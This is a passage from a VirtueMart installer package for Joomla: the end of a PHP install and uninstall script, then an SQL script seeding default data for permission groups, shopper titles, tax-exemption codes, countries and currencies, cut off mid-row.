Joomla! 1.6 code here } else { // Joomla! 1.5 code here $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); } /* if ((JVM_VERSION===1)) { $method = ($upgrade) ? 'update' : 'install'; $vmInstall->$method(); $vmInstall->postflight($method); }*/ return true; } /** * Legacy j1.5 function to use the 1.6 class uninstall * * @return boolean True on success * @deprecated */ function com_uninstall() { $vmInstall = new com_virtuemartInstallerScript(); // $vmInstall->preflight('uninstall'); if(version_compare(JVERSION,'1.6.0','ge')) { // Joomla! 1.6 code here } else { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); } /* if (JVM_VERSION===1) { $vmInstall->uninstall(); $vmInstall->postflight('uninstall'); }*/ return true; } } // if(defined) // pure php no tag PKB\ǞHH!install/install_required_data.sqlnuW+A-- VirtueMart table data SQL script -- This will insert all sample data into the VirtueMart tables -- -- Dumping data for table `#__virtuemart_permgroups` -- INSERT INTO `#__virtuemart_permgroups` (`virtuemart_permgroup_id`, `group_name`, `group_level`) VALUES (1, 'admin', 0), (2, 'storeadmin', 250), (3, 'shopper', 500), (4, 'demo', 750); INSERT INTO `#__virtuemart_userfield_values` ( `virtuemart_userfield_id`, `fieldtitle`, `fieldvalue`, `sys`, `ordering`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MR', 'Mr', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MRS', 'Mrs', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'None', '', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Non-resident (Canada)', 'R', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Federal government (United States)', 'A', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'State government (United States)', 'B', 0, 2, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Tribe / Status Indian / Indian Band (both)', 'C', 0, 3, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Foreign diplomat (both)', 'D', 0, 4, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Charitable or benevolent org (both)', 'E', 0, 5, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Religious or educational org (both)', 'F', 0, 6, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Resale (both)', 'G', 0, 7, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial agricultural production (both)', 'H', 0, 8, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Industrial production / manufacturer (both)', 'I', 0, 9, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct pay permit (United States)', 'J', 0, 10, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct mail (United States)', 'K', 0, 11, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Other (both)', 'L', 0, 12, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Local government (United States)', 'N', 0, 13, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial aquaculture (Canada)', 'P', 0, 14, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial Fishery (Canada)', 'Q', 0, 15, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_countries` -- INSERT INTO `#__virtuemart_countries` (`virtuemart_country_id`, `virtuemart_worldzone_id`, `country_name`, `country_3_code`, `country_2_code`) VALUES (1, 1, 'Afghanistan', 'AFG', 'AF'), (2, 1, 'Albania', 'ALB', 'AL'), (3, 1, 'Algeria', 'DZA', 'DZ'), (4, 1, 'American Samoa', 'ASM', 'AS'), (5, 1, 'Andorra', 'AND', 'AD'), (6, 1, 'Angola', 'AGO', 'AO'), (7, 1, 'Anguilla', 'AIA', 'AI'), (8, 1, 'Antarctica', 'ATA', 'AQ'), (9, 1, 'Antigua and Barbuda', 'ATG', 'AG'), (10, 1, 'Argentina', 'ARG', 'AR'), (11, 1, 'Armenia', 'ARM', 'AM'), (12, 1, 'Aruba', 'ABW', 'AW'), (13, 1, 'Australia', 'AUS', 'AU'), (14, 1, 'Austria', 'AUT', 'AT'), (15, 1, 'Azerbaijan', 'AZE', 'AZ'), (16, 1, 'Bahamas', 'BHS', 'BS'), (17, 1, 'Bahrain', 'BHR', 'BH'), (18, 1, 'Bangladesh', 'BGD', 'BD'), (19, 1, 'Barbados', 'BRB', 'BB'), (20, 1, 'Belarus', 'BLR', 'BY'), (21, 1, 'Belgium', 'BEL', 'BE'), (22, 1, 'Belize', 'BLZ', 'BZ'), (23, 1, 'Benin', 'BEN', 'BJ'), (24, 1, 'Bermuda', 'BMU', 'BM'), (25, 1, 'Bhutan', 'BTN', 'BT'), (26, 1, 'Bolivia', 'BOL', 'BO'), (27, 1, 'Bosnia and Herzegowina', 'BIH', 'BA'), (28, 1, 'Botswana', 'BWA', 'BW'), (29, 1, 'Bouvet Island', 'BVT', 'BV'), (30, 1, 'Brazil', 'BRA', 'BR'), (31, 1, 'British Indian Ocean Territory', 'IOT', 'IO'), (32, 1, 'Brunei Darussalam', 'BRN', 'BN'), (33, 1, 'Bulgaria', 'BGR', 'BG'), (34, 1, 'Burkina Faso', 'BFA', 'BF'), (35, 1, 'Burundi', 'BDI', 'BI'), (36, 1, 'Cambodia', 'KHM', 'KH'), (37, 1, 'Cameroon', 'CMR', 'CM'), (38, 1, 'Canada', 'CAN', 'CA'), (39, 1, 'Cape Verde', 'CPV', 'CV'), (40, 1, 'Cayman Islands', 'CYM', 'KY'), (41, 1, 'Central African Republic', 'CAF', 'CF'), (42, 1, 'Chad', 'TCD', 'TD'), (43, 1, 'Chile', 'CHL', 'CL'), (44, 1, 'China', 'CHN', 'CN'), (45, 1, 'Christmas Island', 'CXR', 'CX'), (46, 1, 'Cocos (Keeling) Islands', 'CCK', 'CC'), (47, 1, 'Colombia', 'COL', 'CO'), (48, 1, 'Comoros', 'COM', 'KM'), (49, 1, 'Congo', 'COG', 'CG'), (50, 1, 'Cook Islands', 'COK', 'CK'), (51, 1, 'Costa Rica', 'CRI', 'CR'), (52, 1, 'Cote D''Ivoire', 'CIV', 'CI'), (53, 1, 'Croatia', 'HRV', 'HR'), (54, 1, 'Cuba', 'CUB', 'CU'), (55, 1, 'Cyprus', 'CYP', 'CY'), (56, 1, 'Czech Republic', 'CZE', 'CZ'), (57, 1, 'Denmark', 'DNK', 'DK'), (58, 1, 'Djibouti', 'DJI', 'DJ'), (59, 1, 'Dominica', 'DMA', 'DM'), (60, 1, 'Dominican Republic', 'DOM', 'DO'), (61, 1, 'East Timor', 'TMP', 'TP'), (62, 1, 'Ecuador', 'ECU', 'EC'), (63, 1, 'Egypt', 'EGY', 'EG'), (64, 1, 'El Salvador', 'SLV', 'SV'), (65, 1, 'Equatorial Guinea', 'GNQ', 'GQ'), (66, 1, 'Eritrea', 'ERI', 'ER'), (67, 1, 'Estonia', 'EST', 'EE'), (68, 1, 'Ethiopia', 'ETH', 'ET'), (69, 1, 'Falkland Islands (Malvinas)', 'FLK', 'FK'), (70, 1, 'Faroe Islands', 'FRO', 'FO'), (71, 1, 'Fiji', 'FJI', 'FJ'), (72, 1, 'Finland', 'FIN', 'FI'), (73, 1, 'France', 'FRA', 'FR'), (75, 1, 'French Guiana', 'GUF', 'GF'), (76, 1, 'French Polynesia', 'PYF', 'PF'), (77, 1, 'French Southern Territories', 'ATF', 'TF'), (78, 1, 'Gabon', 'GAB', 'GA'), (79, 1, 'Gambia', 'GMB', 'GM'), (80, 1, 'Georgia', 'GEO', 'GE'), (81, 1, 'Germany', 'DEU', 'DE'), (82, 1, 'Ghana', 'GHA', 'GH'), (83, 1, 'Gibraltar', 'GIB', 'GI'), (84, 1, 'Greece', 'GRC', 'GR'), (85, 1, 'Greenland', 'GRL', 'GL'), (86, 1, 'Grenada', 'GRD', 'GD'), (87, 1, 'Guadeloupe', 'GLP', 'GP'), (88, 1, 'Guam', 'GUM', 'GU'), (89, 1, 'Guatemala', 'GTM', 'GT'), (90, 1, 'Guinea', 'GIN', 'GN'), (91, 1, 'Guinea-bissau', 'GNB', 'GW'), (92, 1, 'Guyana', 'GUY', 'GY'), (93, 1, 'Haiti', 'HTI', 'HT'), (94, 1, 'Heard and Mc Donald Islands', 'HMD', 'HM'), (95, 1, 'Honduras', 'HND', 'HN'), (96, 1, 'Hong Kong', 'HKG', 'HK'), (97, 1, 'Hungary', 'HUN', 'HU'), (98, 1, 'Iceland', 'ISL', 'IS'), (99, 1, 'India', 'IND', 'IN'), (100, 1, 'Indonesia', 'IDN', 'ID'), (101, 1, 'Iran (Islamic Republic of)', 'IRN', 'IR'), (102, 1, 'Iraq', 'IRQ', 'IQ'), (103, 1, 'Ireland', 'IRL', 'IE'), (104, 1, 'Israel', 'ISR', 'IL'), (105, 1, 'Italy', 'ITA', 'IT'), (106, 1, 'Jamaica', 'JAM', 'JM'), (107, 1, 'Japan', 'JPN', 'JP'), (108, 1, 'Jordan', 'JOR', 'JO'), (109, 1, 'Kazakhstan', 'KAZ', 'KZ'), (110, 1, 'Kenya', 'KEN', 'KE'), (111, 1, 'Kiribati', 'KIR', 'KI'), (112, 1, 'Korea, Democratic People''s Republic of', 'PRK', 'KP'), (113, 1, 'Korea, Republic of', 'KOR', 'KR'), (114, 1, 'Kuwait', 'KWT', 'KW'), (115, 1, 'Kyrgyzstan', 'KGZ', 'KG'), (116, 1, 'Lao People''s Democratic Republic', 'LAO', 'LA'), (117, 1, 'Latvia', 'LVA', 'LV'), (118, 1, 'Lebanon', 'LBN', 'LB'), (119, 1, 'Lesotho', 'LSO', 'LS'), (120, 1, 'Liberia', 'LBR', 'LR'), (121, 1, 'Libya', 'LBY', 'LY'), (122, 1, 'Liechtenstein', 'LIE', 'LI'), (123, 1, 'Lithuania', 'LTU', 'LT'), (124, 1, 'Luxembourg', 'LUX', 'LU'), (125, 1, 'Macau', 'MAC', 'MO'), (126, 1, 'Macedonia, The Former Yugoslav Republic of', 'MKD', 'MK'), (127, 1, 'Madagascar', 'MDG', 'MG'), (128, 1, 'Malawi', 'MWI', 'MW'), (129, 1, 'Malaysia', 'MYS', 'MY'), (130, 1, 'Maldives', 'MDV', 'MV'), (131, 1, 'Mali', 'MLI', 'ML'), (132, 1, 'Malta', 'MLT', 'MT'), (133, 1, 'Marshall Islands', 'MHL', 'MH'), (134, 1, 'Martinique', 'MTQ', 'MQ'), (135, 1, 'Mauritania', 'MRT', 'MR'), (136, 1, 'Mauritius', 'MUS', 'MU'), (137, 1, 'Mayotte', 'MYT', 'YT'), (138, 1, 'Mexico', 'MEX', 'MX'), (139, 1, 'Micronesia, Federated States of', 'FSM', 'FM'), (140, 1, 'Moldova, Republic of', 'MDA', 'MD'), (141, 1, 'Monaco', 'MCO', 'MC'), (142, 1, 'Mongolia', 'MNG', 'MN'), (143, 1, 'Montserrat', 'MSR', 'MS'), (144, 1, 'Morocco', 'MAR', 'MA'), (145, 1, 'Mozambique', 'MOZ', 'MZ'), (146, 1, 'Myanmar', 'MMR', 'MM'), (147, 1, 'Namibia', 'NAM', 'NA'), (148, 1, 'Nauru', 'NRU', 'NR'), (149, 1, 'Nepal', 'NPL', 'NP'), (150, 1, 'Netherlands', 'NLD', 'NL'), (151, 1, 'Netherlands Antilles', 'ANT', 'AN'), (152, 1, 'New Caledonia', 'NCL', 'NC'), (153, 1, 'New Zealand', 'NZL', 'NZ'), (154, 1, 'Nicaragua', 'NIC', 'NI'), (155, 1, 'Niger', 'NER', 'NE'), (156, 1, 'Nigeria', 'NGA', 'NG'), (157, 1, 'Niue', 'NIU', 'NU'), (158, 1, 'Norfolk Island', 'NFK', 'NF'), (159, 1, 'Northern Mariana Islands', 'MNP', 'MP'), (160, 1, 'Norway', 'NOR', 'NO'), (161, 1, 'Oman', 'OMN', 'OM'), (162, 1, 'Pakistan', 'PAK', 'PK'), (163, 1, 'Palau', 'PLW', 'PW'), (164, 1, 'Panama', 'PAN', 'PA'), (165, 1, 'Papua New Guinea', 'PNG', 'PG'), (166, 1, 'Paraguay', 'PRY', 'PY'), (167, 1, 'Peru', 'PER', 'PE'), (168, 1, 'Philippines', 'PHL', 'PH'), (169, 1, 'Pitcairn', 'PCN', 'PN'), (170, 1, 'Poland', 'POL', 'PL'), (171, 1, 'Portugal', 'PRT', 'PT'), (172, 1, 'Puerto Rico', 'PRI', 'PR'), (173, 1, 'Qatar', 'QAT', 'QA'), (174, 1, 'Reunion', 'REU', 'RE'), (175, 1, 'Romania', 'ROM', 'RO'), (176, 1, 'Russian Federation', 'RUS', 'RU'), (177, 1, 'Rwanda', 'RWA', 'RW'), (178, 1, 'Saint Kitts and Nevis', 'KNA', 'KN'), (179, 1, 'Saint Lucia', 'LCA', 'LC'), (180, 1, 'Saint Vincent and the Grenadines', 'VCT', 'VC'), (181, 1, 'Samoa', 'WSM', 'WS'), (182, 1, 'San Marino', 'SMR', 'SM'), (183, 1, 'Sao Tome and Principe', 'STP', 'ST'), (184, 1, 'Saudi Arabia', 'SAU', 'SA'), (185, 1, 'Senegal', 'SEN', 'SN'), (186, 1, 'Seychelles', 'SYC', 'SC'), (187, 1, 'Sierra Leone', 'SLE', 'SL'), (188, 1, 'Singapore', 'SGP', 'SG'), (189, 1, 'Slovakia', 'SVK', 'SK'), (190, 1, 'Slovenia', 'SVN', 'SI'), (191, 1, 'Solomon Islands', 'SLB', 'SB'), (192, 1, 'Somalia', 'SOM', 'SO'), (193, 1, 'South Africa', 'ZAF', 'ZA'), (194, 1, 'South Georgia and the South Sandwich Islands', 'SGS', 'GS'), (195, 1, 'Spain', 'ESP', 'ES'), (196, 1, 'Sri Lanka', 'LKA', 'LK'), (197, 1, 'St. Helena', 'SHN', 'SH'), (198, 1, 'St. Pierre and Miquelon', 'SPM', 'PM'), (199, 1, 'Sudan', 'SDN', 'SD'), (200, 1, 'Suriname', 'SUR', 'SR'), (201, 1, 'Svalbard and Jan Mayen Islands', 'SJM', 'SJ'), (202, 1, 'Swaziland', 'SWZ', 'SZ'), (203, 1, 'Sweden', 'SWE', 'SE'), (204, 1, 'Switzerland', 'CHE', 'CH'), (205, 1, 'Syrian Arab Republic', 'SYR', 'SY'), (206, 1, 'Taiwan', 'TWN', 'TW'), (207, 1, 'Tajikistan', 'TJK', 'TJ'), (208, 1, 'Tanzania, United Republic of', 'TZA', 'TZ'), (209, 1, 'Thailand', 'THA', 'TH'), (210, 1, 'Togo', 'TGO', 'TG'), (211, 1, 'Tokelau', 'TKL', 'TK'), (212, 1, 'Tonga', 'TON', 'TO'), (213, 1, 'Trinidad and Tobago', 'TTO', 'TT'), (214, 1, 'Tunisia', 'TUN', 'TN'), (215, 1, 'Turkey', 'TUR', 'TR'), (216, 1, 'Turkmenistan', 'TKM', 'TM'), (217, 1, 'Turks and Caicos Islands', 'TCA', 'TC'), (218, 1, 'Tuvalu', 'TUV', 'TV'), (219, 1, 'Uganda', 'UGA', 'UG'), (220, 1, 'Ukraine', 'UKR', 'UA'), (221, 1, 'United Arab Emirates', 'ARE', 'AE'), (222, 1, 'United Kingdom', 'GBR', 'GB'), (223, 1, 'United States', 'USA', 'US'), (224, 1, 'United States Minor Outlying Islands', 'UMI', 'UM'), (225, 1, 'Uruguay', 'URY', 'UY'), (226, 1, 'Uzbekistan', 'UZB', 'UZ'), (227, 1, 'Vanuatu', 'VUT', 'VU'), (228, 1, 'Vatican City State (Holy See)', 'VAT', 'VA'), (229, 1, 'Venezuela', 'VEN', 'VE'), (230, 1, 'Viet Nam', 'VNM', 'VN'), (231, 1, 'Virgin Islands (British)', 'VGB', 'VG'), (232, 1, 'Virgin Islands (U.S.)', 'VIR', 'VI'), (233, 1, 'Wallis and Futuna Islands', 'WLF', 'WF'), (234, 1, 'Western Sahara', 'ESH', 'EH'), (235, 1, 'Yemen', 'YEM', 'YE'), (237, 1, 'The Democratic Republic of Congo', 'DRC', 'DC'), (238, 1, 'Zambia', 'ZMB', 'ZM'), (239, 1, 'Zimbabwe', 'ZWE', 'ZW'), (240, 1, 'East Timor', 'XET', 'XE'), (241, 1, 'Jersey', 'JEY', 'JE'), (242, 1, 'St. Barthelemy', 'XSB', 'XB'), (243, 1, 'St. Eustatius', 'XSE', 'XU'), (244, 1, 'Canary Islands', 'XCA', 'XC'), (245, 1, 'Serbia', 'SRB', 'RS'), (246, 1, 'Sint Maarten (French Antilles)', 'MAF', 'MF'), (247, 1, 'Sint Maarten (Netherlands Antilles)', 'SXM', 'SX'), (248, 1, 'Palestinian Territory, occupied','PSE','PS') ; -- -- Dumping data for table `#__virtuemart_currencies` -- INSERT INTO `#__virtuemart_currencies` (`virtuemart_currency_id`, `virtuemart_vendor_id`, `currency_name`, `currency_code_2`, `currency_code_3`, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_decimal_place`, `currency_decimal_symbol`, `currency_thousands`, `currency_positive_style`, `currency_negative_style`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (2, 1, 'United Arab Emirates dirham', '', 'AED', 784, 0, 'د.إ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 'Albanian lek', '', 'ALL', 8, 0, 'Lek', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 'Netherlands Antillean gulden', '', 'ANG', 532, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 'Argentine peso', '', 'ARS', 32, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 'Australian dollar', '', 'AUD', 36, 0, '$', '2', '.', ' ', '{symbol} {number}', '{sign}{symbol} {number} ', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 'Aruban florin', '', 'AWG', 533, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 'Barbadian dollar', '', 'BBD', 52, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 'Bangladeshi taka', '', 'BDT', 50, 0, '৳', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 'Bahraini dinar', '', 'BHD', 48, 0, 'ب.د', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 'Burundian franc', '', 'BIF', 108, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 'Bermudian dollar', '', 'BMD', 60, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 'Brunei dollar', '', 'BND', 96, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 'Bolivian boliviano', '', 'BOB', 68, 0, '$b', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 'Brazilian real', '', 'BRL', 986, 0, 'R$', '2', ',', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 'Bahamian dollar', '', 'BSD', 44, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 'Bhutanese ngultrum', '', 'BTN', 64, 0, 'BTN', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 'Botswana pula', '', 'BWP', 72, 0, 'P', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 'Belize dollar', '', 'BZD', 84, 0, 'BZ$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 'Canadian dollar', '', 'CAD', 124, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 'Swiss franc', '', 'CHF', 756, 0, 'CHF', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 'Unidad de Fomento', '', 'CLF', 990, 0, 'CLF', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 'Chilean peso', '', 'CLP', 152, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 'Chinese renminbi yuan', '', 'CNY', 156, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 'Colombian peso', '', 'COP', 170, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 'Costa Rican colón', '', 'CRC', 188, 0, '₡', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 'Czech koruna', '', 'CZK', 203, 0, 'Kč', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 'Cuban peso', '', 'CUP', 192, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 'Cape Verdean escudo', '', 'CVE', 132, 0, '$', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 'Danish krone', '', 'DKK', 208, 0, 'kr', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 'Dominican peso', '', 'DOP', 214, 0, 'RD$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 'Algerian dinar', '', 'DZD', 12, 0, 'د.ج', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 'Egyptian pound', '', 'EGP', 818, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 'Ethiopian birr', '', 'ETB', 230, 0, 'ETB', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 'Euro', '', 'EUR', 978, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 'Fijian dollar', '', 'FJD', 242, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 'Falkland pound', '', 'FKP', 238, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 'British pound', '', 'GBP', 826, 0, '£', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 'Gibraltar pound', '', 'GIP', 292, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 'Gambian dalasi', '', 'GMD', 270, 0, 'D', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 'Guinean franc', '', 'GNF', 324, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 'Guatemalan quetzal', '', 'GTQ', 320, 0, 'Q', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 'Guyanese dollar', '', 'GYD', 328, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 'Hong Kong dollar', '', 'HKD', 344, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 'Honduran lempira', '', 'HNL', 340, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 'Haitian gourde', '', 'HTG', 332, 0, 'G', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 'Hungarian forint', '', 'HUF', 348, 0, 'Ft', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 